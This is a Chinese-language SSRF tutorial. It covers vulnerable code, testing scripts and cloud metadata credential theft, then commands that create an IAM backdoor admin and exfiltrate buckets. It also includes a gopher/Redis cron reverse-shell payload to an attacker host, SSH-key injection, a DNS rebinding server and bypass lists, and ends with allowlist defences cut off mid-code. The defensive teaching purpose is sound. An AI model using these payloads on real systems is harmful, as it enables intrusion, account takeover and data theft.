Skip to content

SSRF 服务端请求伪造:从内网探测到拿下云账号

A10 是 2021 榜单唯一的新增项(除了 A04 从设计角度新增)。它进榜很大程度上是因为云计算的普及 —— 一旦有了云元数据服务(169.254.169.254),SSRF 从一个"能探测内网"的中危漏洞,直接升级为"能拿云凭证接管整个云账号"的严重漏洞。


一、让服务器替你敲门

你不进门,你让服务员替你问

你在一家会员制餐厅门口,保安不让你进。

但你对服务员说:"麻烦你帮我去后厨问一下,今天的招牌菜是什么?" 服务员进去了,出来告诉你答案。

你没进去,但你借服务员的腿和身份,拿到了里面的信息。

更狠的是,你还可以让服务员:"帮我把这张便签交给 3 号包厢的客人" —— 你不只是读信息,还能往里传东西

SSRF(Server-Side Request Forgery,服务端请求伪造) 就是:攻击者诱导服务端发起一个由攻击者指定的请求。 服务端成了攻击者的代理。

服务端发起的请求,权限完全不同

java
// 典型的有漏洞代码
@GetMapping("/api/fetch")
public String fetchUrl(@RequestParam String url) {
    // url 完全来自用户,服务端不加判断地发起请求
    return restTemplate.getForObject(url, String.class);
}

根本原因是:服务端信任了用户提供的 URL,并用自己的身份和位置去访问它。

关键认知:服务端发起的请求,和普通用户发起的请求,权限完全不同。

攻击者(外网)                     服务端(内网)
    │                                  │
    ├── 直接访问 10.0.0.5:8080 ──X──→  网络不可达(防火墙拦截)

    ├── 直接访问 169.254.169.254 ─X──→  外网访问不了云元数据

    └── 通过 SSRF 让服务端访问 ───→  ✅ 内网可达(服务端的网络位置)
                                     ✅ 云元数据可访问
                                     ✅ 可能使用服务端的身份凭证

常见触发点:找 SSRF 的地图

SSRF 不是只出现在"输入 URL"的框里。凡是服务端会主动发起对外请求的功能,都可能有 SSRF。

功能参数名说明
URL 预览 / 分享url / link最经典
图片/头像远程加载imageUrl / avatar下载远程图片
网页截图 / 生成 PDFurl / page渲染服务
Webhook 配置callbackUrl / webhook回调地址
RSS / 订阅源feedUrl拉取订阅
文件导入(远程)fileUrl / importUrl从 URL 导入
转码 / 转存sourceUrl音视频处理
SSO / OAuthredirect_uri / metadata_urlSAML 元数据
数据库连接配置host / jdbcUrl管理后台
翻译 / 代理url
SVG / XML 解析外部实体XXE 也可导致 SSRF
HTTP 头处理X-Forwarded-For少数情况

💡 踩坑提示:最容易漏的是间接的 SSRF。比如"上传头像"功能支持"从 URL 导入"、PDF 导出服务会加载页面里的外链图片、Webhook 测试按钮。这些功能的输入框看起来不像"URL 输入框",但底层都是发请求。

六级危害阶梯:云上一律按严重定级

触发条件

  1. 服务端存在"根据用户输入发起外部请求"的功能。
  2. 服务端未对目标地址做白名单/黑名单校验。
  3. 响应内容(或响应时间、状态码)能以某种方式被攻击者观察到。

危害分级(从低到高):

① 基本 SSRF(有回显)
   → 读取内网服务响应、探测端口开放情况

② 无回显 SSRF(Blind SSRF)
   → 通过响应时间/状态码判断内网主机存活、端口开放
   → 仍可用于内网拓扑测绘

③ 读取本地文件(file:// 协议)
   → file:///etc/passwd、file:///proc/self/environ

④ 云元数据访问(169.254.169.254)
   → 窃取临时凭证(AccessKey / SecretKey / Token)
   → 接管整个云账号 ← 最严重

⑤ 打内网应用(gopher:// / dict://)
   → Redis 未授权 → 写计划任务/写 SSH key → 服务器沦陷
   → Memcached、FastCGI、MySQL(无认证)
   → 内网服务的未授权 RCE

⑥ 绕过 IP 限制
   → 访问配置了"仅内网可访问"的管理后台

三个典型场景

场景一:云上 SSRF 拿 AK/SK(最经典)

目标:一台部署在云上的 Web 应用,存在 SSRF

1. 请求: http://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/
   → 返回: iam/security-credentials/

2. 请求: http://169.254.169.254/latest/meta-data/iam/security-credentials/
   → 返回: my-ecs-role

3. 请求: .../iam/security-credentials/my-ecs-role
   → 返回:
     {
       "AccessKeyId": "STS.xxxxx",
       "AccessKeySecret": "xxxxx",
       "SecurityToken": "xxxxx",
       "Expiration": "2026-09-03T12:00:00Z"
     }

4. 攻击者拿着这个凭证,用云 CLI 操作整个云账号:
   - 列出所有 ECS 实例
   - 创建子账号 / 提权
   - 下载 OSS 桶里的所有数据
   - 甚至创建资源挖矿

📌 这就是 SSRF 能被评为"严重"的原因。一个看似只是"能发个请求"的漏洞,在云环境下等于交出整个云账号的控制权。各大云厂商的元数据服务地址都是 169.254.169.254(AWS/Azure/GCP/阿里云/腾讯云均如此)。

场景二:内网 Redis 未授权写入

1. SSRF 探测到内网 10.0.0.5:6379 开放
2. 用 gopher:// 协议构造 Redis 命令,写计划任务反弹 shell
3. 服务器沦陷

场景三:内网服务指纹测绘

用 SSRF 批量扫描 10.0.0.0/24 的常用端口
→ 画出内网服务拓扑
→ 为后续横向移动做准备

二、从哪找,怎么确认

代码层:找所有发外部请求的地方

危险函数速查表

语言危险函数/库说明
JavaRestTemplate.getForObject(url, ...)Spring HTTP 客户端
Javanew URL(url).openConnection()原生
JavaHttpURLConnection原生
JavaOkHttpClient + 用户提供的 URL
JavaHttpClient (Java 11+)
JavaImageIO.read(new URL(url))图片处理
JavaXMLInputFactory 外部实体XXE → SSRF
Pythonrequests.get(url)
Pythonurllib.request.urlopen(url)
Pythonurllib2.urlopen(url)Python 2
Pythonhttpx.get(url)
PHPfile_get_contents($url)支持多协议
PHPcurl_exec() + CURLOPT_URL
PHPfsockopen()
PHPSoapClient + __call反序列化 SSRF
Nodeaxios.get(url) / http.get(url)
Noderequest(url)已废弃但仍常见
Gohttp.Get(url)
.NETWebClient.DownloadString(url)

审计 grep 命令

bash
# Java
grep -rnE "RestTemplate|new URL\(|openConnection|HttpURLConnection|OkHttpClient" --include=*.java

# Python
grep -rnE "requests\.(get|post)|urlopen\(|httpx\.(get|post)" --include=*.py

# PHP
grep -rnE "file_get_contents\s*\(\s*\\\$|curl_setopt.*CURLOPT_URL|fsockopen" --include=*.php

# Node
grep -rnE "axios\.(get|post)|http\.get\(|request\(" --include=*.js

# 重点关注:参数是否来自用户输入
grep -rnE "@RequestParam.*[Uu]rl|@RequestParam.*[Ll]ink|@RequestParam.*[Cc]allback|@RequestParam.*[Ww]ebhook" --include=*.java

审计的核心三问

1. 这个 URL 来自哪里?         (用户可控 → 危险)
2. 发起请求前有没有校验?       (白名单 > 黑名单 > 无校验)
3. 响应内容会不会返回给用户?   (回显 → 信息泄露;无回显 → 仍可探测)

有漏洞 vs 无漏洞的对照

java
// ❌ 完全无校验
@GetMapping("/fetch")
public String fetch(@RequestParam String url) {
    return restTemplate.getForObject(url, String.class);
}

// ⚠️ 黑名单校验(可绕过,不推荐)
@GetMapping("/fetch")
public String fetch(@RequestParam String url) {
    if (url.contains("127.0.0.1") || url.contains("localhost")
        || url.contains("169.254") || url.contains("10.")) {
        throw new SecurityException("禁止访问内网");
    }
    return restTemplate.getForObject(url, String.class);
}
// 绕过方式:2130706433(十进制IP)、[::1]、0.0.0.0、localtest.me、302跳转、DNS重绑定...

// ✅ 白名单校验(正确做法)
@GetMapping("/fetch")
public String fetch(@RequestParam String url) {
    // 1. 协议白名单
    if (!url.startsWith("https://")) {
        throw new SecurityException("仅支持 HTTPS");
    }
    // 2. 域名白名单
    String host = new URL(url).getHost();
    if (!ALLOWED_DOMAINS.contains(host)) {
        throw new SecurityException("域名不在白名单中");
    }
    // 3. DNS 解析后校验 IP(防 DNS 重绑定)
    InetAddress[] addrs = InetAddress.getAllByName(host);
    for (InetAddress addr : addrs) {
        if (isPrivateOrReserved(addr)) {
            throw new SecurityException("不允许访问内网地址");
        }
    }
    // 4. 禁用重定向
    return fetchWithoutRedirect(url);
}

验证:先用 DNSLog 确认请求真的出去了

Step 1:找到可能的 SSRF 点

按上面“常见触发点”的清单,逐个功能测试。重点看请求参数名:

url / uri / link / src / source / target / dest / destination
image / img / avatar / picture / photo
file / path / page / feed / callback / webhook
remote / load / fetch / import / proxy / redirect / next

Step 2:基础探针测试

bash
#!/usr/bin/env bash
# SSRF 基础探针
# 用法: bash ssrf_probe.sh https://target.com/api/fetch

ENDPOINT="$1"
PARAM="${2:-url}"

# 准备一个 DNSLog 域名,用于检测服务端是否真的发起了请求
DNS="${DNS:-yourdomain.dnslog.cn}"

echo "===== 1. 基础外网请求(验证功能正常)====="
curl -s "$ENDPOINT?$PARAM=http://example.com" | head -c 300
echo

echo "===== 2. DNS 外带检测(确认服务端发起了请求)====="
curl -s "$ENDPOINT?$PARAM=http://${DNS}/ssrf-test" -o /dev/null
echo "[*] 请到 DNSLog 平台查看是否有解析记录"
echo "    有记录 → 服务端确实发起了请求(SSRF 存在)"
echo

echo "===== 3. 回环地址测试 ====="
for target in "http://127.0.0.1/" "http://localhost/" "http://[::1]/" "http://0.0.0.0/"; do
  echo "--- $target ---"
  curl -s "$ENDPOINT?$PARAM=$target" --max-time 8 | head -c 200
  echo
done

echo "===== 4. 内网地址测试 ====="
for target in "http://10.0.0.1/" "http://192.168.1.1/" "http://172.16.0.1/"; do
  echo "--- $target ---"
  curl -s "$ENDPOINT?$PARAM=$target" --max-time 8 | head -c 150
  echo
done

echo "===== 5. 云元数据测试(最关键)====="
echo "--- 阿里云/腾讯云/AWS 通用 ---"
curl -s "$ENDPOINT?$PARAM=http://169.254.169.254/latest/meta-data/" --max-time 8 | head -c 300
echo
echo "--- AWS IMDSv2 路径 ---"
curl -s "$ENDPOINT?$PARAM=http://169.254.169.254/latest/api/token" --max-time 8 -X PUT | head -c 200
echo

echo "===== 6. 文件协议测试 ====="
for target in "file:///etc/passwd" "file:///proc/self/environ" "file:///etc/hosts"; do
  echo "--- $target ---"
  curl -s "$ENDPOINT?$PARAM=$target" --max-time 8 | head -c 300
  echo
done

echo "===== 7. 其他协议测试 ====="
for target in "dict://127.0.0.1:6379/info" "gopher://127.0.0.1:6379/_INFO" \
              "ftp://127.0.0.1/" "ldap://127.0.0.1/"; do
  echo "--- $target ---"
  curl -s "$ENDPOINT?$PARAM=$target" --max-time 8 | head -c 150
  echo
done

echo
echo "===== 完成 ====="

Step 3:判断依据

现象结论
DNSLog 收到解析服务端确实发起了请求 → SSRF 成立(最可靠的证据)
返回内网服务的响应内容基本 SSRF(有回显),可深入
响应内容随目标变化有回显 SSRF
响应码/响应时间随目标变化无回显 SSRF(Blind),仍可探测内网
返回 /etc/passwd 内容支持 file:// 协议
返回云元数据(如 iam/严重 —— 可拿云凭证
统一返回"请求失败"可能有黑名单,尝试绕过手法
提示"仅支持 http/https"协议白名单,仍需测协议内绕过

💡 踩坑提示先用 DNSLog 确认"服务端真的发起了请求",再往下测。 很多看起来像 SSRF 的点,实际上服务端根本没发请求(比如参数被忽略了、或者只是做了个字符串处理)。DNSLog 是唯一可靠的判据 —— 它证明的是"请求确实出去了",而不是"响应看起来像"。

无回显时怎么判断:时间、状态码、DNS

当响应不返回内容时,靠这三个维度判断:

bash
#!/usr/bin/env bash
# 无回显 SSRF 探测:靠响应时间与状态码差异判断内网端口
# 用法: bash blind_ssrf_scan.sh https://target.com/api/fetch 10.0.0.5

ENDPOINT="$1"
TARGET_HOST="$2"
PARAM="${3:-url}"

echo "===== 端口探测: $TARGET_HOST ====="
echo "原理: 开放端口响应快,关闭/过滤端口响应慢或超时"
echo

# 常见端口
PORTS=(21 22 23 25 80 443 445 1433 1521 3306 3389 5432 6379 7001 8000 8080 8081 8888 9000 9200 11211 27017)

for port in "${PORTS[@]}"; do
  start=$(date +%s%N)
  code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 6 \
    "$ENDPOINT?$PARAM=http://${TARGET_HOST}:${port}/" 2>/dev/null)
  end=$(date +%s%N)
  elapsed=$(( (end - start) / 1000000 ))   # 毫秒

  # 判断逻辑
  if [ "$elapsed" -lt 1000 ] && [ "$code" = "200" ]; then
    echo "[OPEN ] ${TARGET_HOST}:${port}  响应 ${elapsed}ms  HTTP ${code}"
  elif [ "$elapsed" -lt 3000 ]; then
    echo "[MAYBE] ${TARGET_HOST}:${port}  响应 ${elapsed}ms  HTTP ${code}"
  else
    echo "[CLOSED] ${TARGET_HOST}:${port}  超时 ${elapsed}ms"
  fi
done

echo
echo "[*] 注意:响应时间受网络波动影响,建议每个端口测 2-3 次取中位数"
echo "[*] OPEN 的端口即为内网可达服务,可进一步用 gopher:// 等协议攻击"

三、云元数据、gopher 与绕过图谱

⚠️ 以下内容仅限授权渗透测试 / 自有系统 / 安全研究环境中使用。

基础利用:file 协议与内网服务

bash
# ===== 1. file:// 协议读文件 =====
curl -s "https://target.com/api/fetch?url=file:///etc/passwd"
# 预期回显: root:x:0:0:root:/root:/bin/bash ...

# 读环境变量(常含数据库密码、AK/SK)
curl -s "https://target.com/api/fetch?url=file:///proc/self/environ"
# 预期: 包含各种环境变量

# 读应用配置文件路径(需要先知道路径)
curl -s "https://target.com/api/fetch?url=file:///app/config/application.yml"

# 读 /proc/net/ 下的网络信息(内网拓扑测绘)
curl -s "https://target.com/api/fetch?url=file:///proc/net/arp"     # ARP 表
curl -s "https://target.com/api/fetch?url=file:///proc/net/tcp"     # TCP 连接
curl -s "https://target.com/api/fetch?url=file:///proc/net/fib_trie" # 路由表

# ===== 2. 内网 HTTP 服务 =====
# Redis 运维面板、Jenkins、Elasticsearch、Druid 等常在内网无认证
curl -s "https://target.com/api/fetch?url=http://10.0.0.5:9200/_cat/indices"
# Elasticsearch 索引列表

curl -s "https://target.com/api/fetch?url=http://10.0.0.5:8080/manager/html"
# Tomcat 管理台

curl -s "https://target.com/api/fetch?url=http://10.0.0.5:9000/"
# 可能是各类管理面板

云元数据:三个请求拿到整个云账号

各大云厂商的元数据端点

bash
# ===== 通用(AWS / Azure / GCP / 阿里云 / 腾讯云 等均使用此地址)=====
BASE="http://169.254.169.254"

# ----- AWS / 阿里云 / 腾讯云(IMDSv1 风格)-----
# 1. 列出可用的元数据路径
curl -s "https://target.com/api/fetch?url=${BASE}/latest/meta-data/"
# AWS 返回: ami-id / hostname / iam/ / instance-id / local-ipv4 / public-ipv4 / security-credentials

# 2. 列出 IAM 角色
curl -s "https://target.com/api/fetch?url=${BASE}/latest/meta-data/iam/security-credentials/"

# 3. 获取凭证(关键一步)
curl -s "https://target.com/api/fetch?url=${BASE}/latest/meta-data/iam/security-credentials/<角色名>"
# 返回:
# {
#   "Code": "Success",
#   "AccessKeyId": "STS.NTxxxxxxxxxx",
#   "AccessKeySecret": "xxxxxxxxxxxxxxxx",
#   "SecurityToken": "CAISxxxxx...",
#   "Expiration": "2026-09-03T12:00:00Z"
# }

# ----- 阿里云专有路径 -----
curl -s "https://target.com/api/fetch?url=${BASE}/latest/meta-data/ram/security-credentials/<角色名>"

# ----- 腾讯云专有路径 -----
curl -s "https://target.com/api/fetch?url=${BASE}/latest/meta-data/cam/security-credentials/<角色名>"

# ----- Azure -----
# 注意 Azure 需要 Metadata: true 请求头,SSRF 场景较难利用(无法自定义头)
# http://169.254.169.254/metadata/instance?api-version=2021-02-01

# ----- GCP -----
# 需要 Metadata-Flavor: Google 请求头
# http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

# ----- AWS IMDSv2(需要 PUT 请求获取 token,SSRF 较难利用)-----
# PUT http://169.254.169.254/latest/api/token
# Header: X-aws-ec2-metadata-token-ttl-seconds: 21600

拿到凭证后的操作(在攻击者自己的机器上):

bash
# AWS 示例
export AWS_ACCESS_KEY_ID="ASIAxxxxx"
export AWS_SECRET_ACCESS_KEY="xxxxx"
export AWS_SESSION_TOKEN="xxxxx"

# 确认身份
aws sts get-caller-identity

# 列出所有 ECS 实例
aws ec2 describe-instances --region cn-north-1

# 列出 S3 桶
aws s3 ls

# 下载整个桶
aws s3 sync s3://target-bucket ./loot/

# 创建后门账号
aws iam create-user --user-name backdoor
aws iam attach-user-policy --user-name backdoor \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# 阿里云示例
aliyun configure set --access-key-id LTAIxxxx --access-key-secret xxxx --region cn-hangzhou
aliyun ecs DescribeInstances
aliyun oss ls

# 腾讯云示例
tccli configure set secretId AKIDxxxx secretKey xxxx region ap-guangzhou
tccli cvm DescribeInstances

💡 这就是 SSRF 在云上最可怕的地方 —— 从"一个 URL 参数"到"整个云账号沦陷",中间只需要 3 个请求。

gopher 打 Redis:从发请求到执行命令

原理gopher:// 协议可以发送任意 TCP 数据。Redis 使用简单的文本协议,因此可以完全用 gopher 构造 Redis 命令。

Gopher 协议格式

gopher://<host>:<port>/_<TCP数据>
                       ↑ 下划线后面就是要发送的原始数据
                         需要对特殊字符做 URL 编码
                         换行符编码为 %0d%0a

Redis 写计划任务反弹 shell(经典链):

bash
#!/usr/bin/env bash
# 构造 gopher payload 打 Redis(仅用于授权测试)
# 用法: bash gopher_redis.sh 10.0.0.5 6379 "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"

REDIS_HOST="${1:-127.0.0.1}"
REDIS_PORT="${2:-6379}"
CMD="${3:-whoami}"
ATTACKER="${4:-192.168.1.100:4444}"

# Redis 命令序列(RESP 协议格式)
# 每条命令格式: *<参数个数>\r\n$<参数1长度>\r\n<参数1>\r\n$<参数2长度>\r\n<参数2>\r\n
REDIS_CMDS="*1%0d%0a\$8%0d%0aflushall%0d%0a"                    # 清空(可选)
REDIS_CMDS+="*3%0d%0a\$3%0d%0aset%0d%0a\$1%0d%0a1%0d%0a\$60%0d%0a"  # set 1 "<payload>"
REDIS_CMDS+="%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20%3E%26%20/dev/tcp/${ATTACKER}%200%3E%261%0a%0a%0a"
REDIS_CMDS+="%0d%0a"
REDIS_CMDS+="*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$3%0d%0adir%0d%0a\$16%0d%0a/var/spool/cron/%0d%0a"  # 设置目录
REDIS_CMDS+="*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$10%0d%0adbfilename%0d%0a\$4%0d%0aroot%0d%0a"      # 设置文件名
REDIS_CMDS+="*1%0d%0a\$4%0d%0asave%0d%0a"                       # 保存
REDIS_CMDS+="*1%0d%0a\$4%0d%0aquit%0d%0a"                       # 退出

echo "[*] 生成的 gopher payload:"
echo "gopher://${REDIS_HOST}:${REDIS_PORT}/_${REDIS_CMDS}"
echo
echo "[*] 通过 SSRF 发送:"
echo "curl 'https://target.com/api/fetch?url=gopher://${REDIS_HOST}:${REDIS_PORT}/_${REDIS_CMDS}'"
echo
echo "[*] 别忘了本地监听: nc -lvnp 4444"

更实用的方式:用工具自动生成

bash
# Gopherus —— 自动生成各种服务的 gopher payload
# https://github.com/tarunkant/Gopherus

python3 gopherus.py --exploit redis
# 交互式输入:
#   What do you want?? (ReverseShell/PHPShell): ReverseShell
#   Give IP Address: 192.168.1.100
#   Give Port: 4444
# 输出完整的 gopher:// URL

# 支持的服务:
#   redis, mysql, zabbix, memcached, smtp, fastcgi, python

# 然后直接通过 SSRF 发送
curl "https://target.com/api/fetch?url=<gopherus生成的URL>"

写 SSH key 的方式(需要 Redis 有写权限且目标运行 SSH):

bash
# 生成 SSH 密钥对
ssh-keygen -t rsa -f /tmp/id_rsa -N ""

# 构造 Redis 命令:把公钥写入 /root/.ssh/authorized_keys
python3 - << 'PYEOF'
import urllib.parse

pubkey = open('/tmp/id_rsa.pub').read().strip()

# Redis RESP 协议构造
cmds = [
    "flushall",
    f"set crackit \"\\n\\n{pubkey}\\n\\n\"",
    "config set dir /root/.ssh/",
    "config set dbfilename authorized_keys",
    "save",
    "quit"
]

def to_resp(cmd_parts):
    """把命令转成 RESP 格式"""
    resp = f"*{len(cmd_parts)}\r\n"
    for part in cmd_parts:
        resp += f"${len(part)}\r\n{part}\r\n"
    return resp

# 简单处理(实际需按空格拆分参数)
payload = to_resp(["flushall"])
payload += to_resp(["set", "crackit", "\n\n" + pubkey + "\n\n"])
payload += to_resp(["config", "set", "dir", "/root/.ssh/"])
payload += to_resp(["config", "set", "dbfilename", "authorized_keys"])
payload += to_resp(["save"])
payload += to_resp(["quit"])

# URL 编码(gopher 要求的格式)
encoded = urllib.parse.quote(payload, safe='')
# 注意:gopher 中 %0a 需要保留,某些场景需要用 %0d%0a
encoded = encoded.replace('%0A', '%0d%0a')

print(f"gopher://10.0.0.5:6379/_{encoded}")
PYEOF

# 然后: ssh -i /tmp/id_rsa root@10.0.0.5

绕过手法全图谱

这是 SSRF 最精彩的部分。防守方用黑名单,攻击方就有几十种绕过方式。

① IP 地址的多种表示法

bash
# 127.0.0.1 的各种等价写法
http://127.0.0.1/           # 点分十进制(标准)
http://2130706433/          # 十进制整数
http://0x7F000001/          # 十六进制
http://017700000001/        # 八进制
http://127.1/               # 短格式(省略中间的 0)
http://127.0.1/             # 短格式
http://0/                   # 0 会被解析为 0.0.0.0(部分系统 = localhost)
http://127.000.000.001/     # 补零
http://[::1]/               # IPv6 回环
http://[0:0:0:0:0:ffff:127.0.0.1]/   # IPv4-mapped IPv6
http://[::ffff:7f00:1]/     # 同上,十六进制

💡 转换方法

bash
# IP 转十进制
python3 -c "import socket,struct; print(struct.unpack('!I', socket.inet_aton('127.0.0.1'))[0])"
# 输出: 2130706433

# 十进制转 IP
python3 -c "import socket,struct; print(socket.inet_ntoa(struct.pack('!I', 2130706433)))"

② DNS 技巧

bash
# 解析到 127.0.0.1 的公共域名
http://localtest.me/                 # 及其所有子域名都解析到 127.0.0.1
http://127.0.0.1.nip.io/             # nip.io 服务
http://127.0.0.1.xip.io/             # xip.io 服务
http://spoofed.burpcollaborator.net/ # Burp 提供

# 自建 DNS: 把域名 A 记录指向 127.0.0.1 或 169.254.169.254
# 这是绕过"域名白名单"最有效的方法之一

③ URL 解析差异(利用解析器的不一致)

bash
# 用 @ 符号分割(userinfo 部分)
http://expected.com@127.0.0.1/       # 某些解析器认为 host 是 127.0.0.1
http://expected.com@evil.com/        #

# 用 # 分割
http://127.0.0.1#expected.com        # fragment 部分被忽略

# 用 ? 分割
http://expected.com?url=http://127.0.0.1/

# 反斜杠(某些解析器把 \ 当作 /)
http://expected.com\@127.0.0.1/
http://127.0.0.1\expected.com

# 多重 @ 
http://expected.com@@127.0.0.1/

# 特殊字符混淆
http://①②⑦.0.0.1/                   # Unicode 数字(部分解析器会规范化)

④ 302 跳转绕过(最实用的绕过之一)

php
<?php
// 攻击者自己的服务器上放一个 redirect.php
// 服务端校验的是第一个 URL(白名单域名)
// 但 curl 跟随重定向后,实际访问了内网

header("Location: http://169.254.169.254/latest/meta-data/", true, 302);
?>
bash
# 攻击者服务器
# 1. 放一个 302 跳转脚本
# 2. 请求: https://target.com/api/fetch?url=http://attacker.com/redirect.php
# 3. 服务端校验 attacker.com(如果在白名单里就放行)
# 4. curl 默认跟随重定向 → 访问了 169.254.169.254
# 5. 响应返回给攻击者

# 其他跳转方式
# HTTP 302/301/307/308
# JavaScript: <script>location.href='http://169.254.169.254/'</script>  (仅当服务端渲染 JS)
# HTML meta refresh

⑤ DNS 重绑定(DNS Rebinding)

这是绕过"解析后 IP 校验"的杀手锏。

攻击原理:
1. 攻击者控制一个域名 evil.com,并控制其 DNS 服务器
2. 第一次 DNS 查询(服务端校验时)→ 返回公网 IP 1.2.3.4  ✅ 通过白名单
3. 第二次 DNS 查询(服务端真正发起请求时)→ 返回 127.0.0.1  ← 打到内网!

关键点:
  - 两次查询之间,TTL 设置为 0(不缓存)
  - 服务端"校验"和"请求"是两次独立的 DNS 解析(典型 TOCTOU 问题)

工具:
  - https://lock.cmpxchg8b.com/rebinder.html
  - 自建: 用 dnsmasq 或自写 DNS 服务器

DNS Rebinding 服务示例

python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
简易 DNS Rebinding 服务器 —— 仅用于授权测试
第一次查询返回公网 IP,后续查询返回内网 IP
"""
import socket
import struct
import threading

# 配置
GOOD_IP = "1.2.3.4"        # 第一次返回(公网,通过校验)
EVIL_IP = "127.0.0.1"      # 后续返回(内网)
query_count = {}

def build_response(data, ip):
    """构造 DNS 响应"""
    # 复制请求头(transaction ID 等)
    trans_id = data[:2]
    flags = b'\x81\x80'                    # 标准响应,无错误
    questions = data[4:6]
    answer_rrs = b'\x00\x01'               # 1 条应答
    authority_rrs = b'\x00\x00'
    additional_rrs = b'\x00\x00'

    # 提取查询的域名
    # 简化处理:假设域名从第 12 字节开始,以 0x00 结尾
    idx = 12
    while data[idx] != 0:
        idx += 1
    domain = data[12:idx+1]
    qtype_qclass = data[idx+1:idx+5]

    # 应答部分
    answer = b'\xc0\x0c'                   # 指向查询名的指针
    answer += b'\x00\x01'                  # Type: A
    answer += b'\x00\x01'                  # Class: IN
    answer += struct.pack('!I', 0)         # TTL: 0(不缓存!关键!)
    answer += b'\x00\x04'                  # RDLENGTH: 4
    answer += socket.inet_aton(ip)         # RDATA: IP

    return (trans_id + flags + questions + answer_rrs +
            authority_rrs + additional_rrs + domain + qtype_qclass + answer)

def handle_query(data, addr, sock):
    """处理单个 DNS 查询"""
    # 提取域名作为 key
    idx = 12
    while idx < len(data) and data[idx] != 0:
        idx += 1
    domain = data[12:idx].decode('latin-1')
    key = '.'.join([chr(data[i]) + '.' if False else '' for i in []]) or domain

    # 计数:第一次返回好 IP,之后返回内网 IP
    count = query_count.get(domain, 0)
    query_count[domain] = count + 1

    ip = GOOD_IP if count == 0 else EVIL_IP
    print(f"[*] 查询 #{count+1} for {domain} → 返回 {ip}")

    response = build_response(data, ip)
    sock.sendto(response, addr)

def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind(('0.0.0.0', 53))
    print("[*] DNS Rebinding 服务器启动在 :53")
    print(f"[*] 第一次查询返回 {GOOD_IP},之后返回 {EVIL_IP}")

    while True:
        data, addr = sock.recvfrom(512)
        t = threading.Thread(target=handle_query, args=(data, addr, sock))
        t.start()

if __name__ == "__main__":
    main()

⑥ 协议与端口绕过

bash
# 如果禁了 http/https 之外的协议,但服务端用的是支持多协议的库
file:///etc/passwd                     # PHP 的 file_get_contents 支持
dict://127.0.0.1:6379/info             # dict 协议
gopher://127.0.0.1:6379/_INFO          # gopher 协议
ldap://127.0.0.1:389/                  # LDAP
ftp://127.0.0.1:21/                    # FTP
jar:http://127.0.0.1!/                 # Java 的 jar 协议
netdoc:///etc/passwd                   # Java

# 端口绕过:如果只禁了 80/443
http://127.0.0.1:8080/
http://127.0.0.1:3306/

⑦ 编码绕过

bash
# URL 编码
http://%31%32%37%2e%30%2e%30%2e%31/     # 127.0.0.1
http://127.0.0.1%2f                      # 编码斜杠

# 双重 URL 编码
http://%25%33%31%25%33%32%25%33%37.../

# Unicode 编码
http://①②⑦.0.0.1/                        # 部分解析器会规范化为 127.0.0.1

Nuclei 批量检测

bash
# Nuclei SSRF 模板扫描
nuclei -u https://target.com -tags ssrf -severity high,critical

# 指定模板目录
nuclei -u https://target.com -t ~/nuclei-templates/http/vulnerabilities/generic/ssrf.yaml

# 批量
nuclei -l targets.txt -tags ssrf -rate-limit 10 -o ssrf_results.txt

# 配合 DNSLog(更可靠)
# 部分模板支持 -var 传入回调域名
nuclei -u https://target.com -tags ssrf -var callback=http://yourdomain.dnslog.cn

四、白名单、出网限制与 IMDSv2

白名单,以及「解析一次用 IP 直连」

SSRF 的黑名单是无效的 —— 前面的绕过手法已经证明了这点。唯一可靠的是白名单

java
@Component
public class SafeUrlFetcher {

    // 允许的域名白名单(从配置读取,可动态更新)
    @Value("${ssrf.allowed-domains}")
    private Set<String> ALLOWED_DOMAINS;

    // 允许的协议
    private static final Set<String> ALLOWED_PROTOCOLS = Set.of("https");

    // 允许的端口
    private static final Set<Integer> ALLOWED_PORTS = Set.of(443);

    /**
     * 安全的 URL 获取
     */
    public String fetch(String urlString) throws Exception {
        URL url = new URL(urlString);

        // ===== 第 1 层:协议白名单 =====
        String protocol = url.getProtocol().toLowerCase();
        if (!ALLOWED_PROTOCOLS.contains(protocol)) {
            throw new SecurityException("不支持的协议: " + protocol);
        }

        // ===== 第 2 层:端口白名单 =====
        int port = url.getPort() != -1 ? url.getPort() : url.getDefaultPort();
        if (!ALLOWED_PORTS.contains(port)) {
            throw new SecurityException("不允许的端口: " + port);
        }

        // ===== 第 3 层:域名白名单 =====
        String host = url.getHost().toLowerCase();
        if (!isDomainAllowed(host)) {
            throw new SecurityException("域名不在白名单中: " + host);
        }

        // ===== 第 4 层:DNS 解析 + IP 校验(防 DNS Rebinding)=====
        List<InetAddress> addresses = Arrays.asList(InetAddress.getAllByName(host));
        if (addresses.isEmpty()) {
            throw new SecurityException("域名解析失败: " + host);
        }
        for (InetAddress addr : addresses) {
            if (isBlockedIp(addr)) {
                throw new SecurityException("禁止访问内网/保留地址: " + addr.getHostAddress());
            }
        }

        // ===== 第 5 层:用解析后的 IP 直连,并固定 Host 头 =====
        // 这是防 DNS Rebinding 的关键:解析一次,然后用 IP 建连
        String ip = addresses.get(0).getHostAddress();
        return fetchWithPinnedIp(url, ip, host);
    }

    /**
     * 判断是否为内网/保留/危险 IP
     */
    private boolean isBlockedIp(InetAddress addr) {
        if (addr.isAnyLocalAddress() ||        // 0.0.0.0
            addr.isLoopbackAddress() ||        // 127.0.0.0/8, ::1
            addr.isLinkLocalAddress() ||       // 169.254.0.0/16 ← 云元数据!
            addr.isSiteLocalAddress() ||       // 10/8, 172.16/12, 192.168/16
            addr.isMulticastAddress() ||
            addr.isMCGlobal() ||
            addr.isMCLinkLocal()) {
            return true;
        }

        // 手动检查更多保留网段
        byte[] bytes = addr.getAddress();
        if (bytes.length == 4) {   // IPv4
            int b0 = bytes[0] & 0xff, b1 = bytes[1] & 0xff;
            // 0.0.0.0/8
            if (b0 == 0) return true;
            // 100.64.0.0/10 (CGNAT)
            if (b0 == 100 && (b1 & 0xc0) == 64) return true;
            // 169.254.0.0/16 (link-local,云元数据)
            if (b0 == 169 && b1 == 254) return true;
            // 192.0.0.0/24
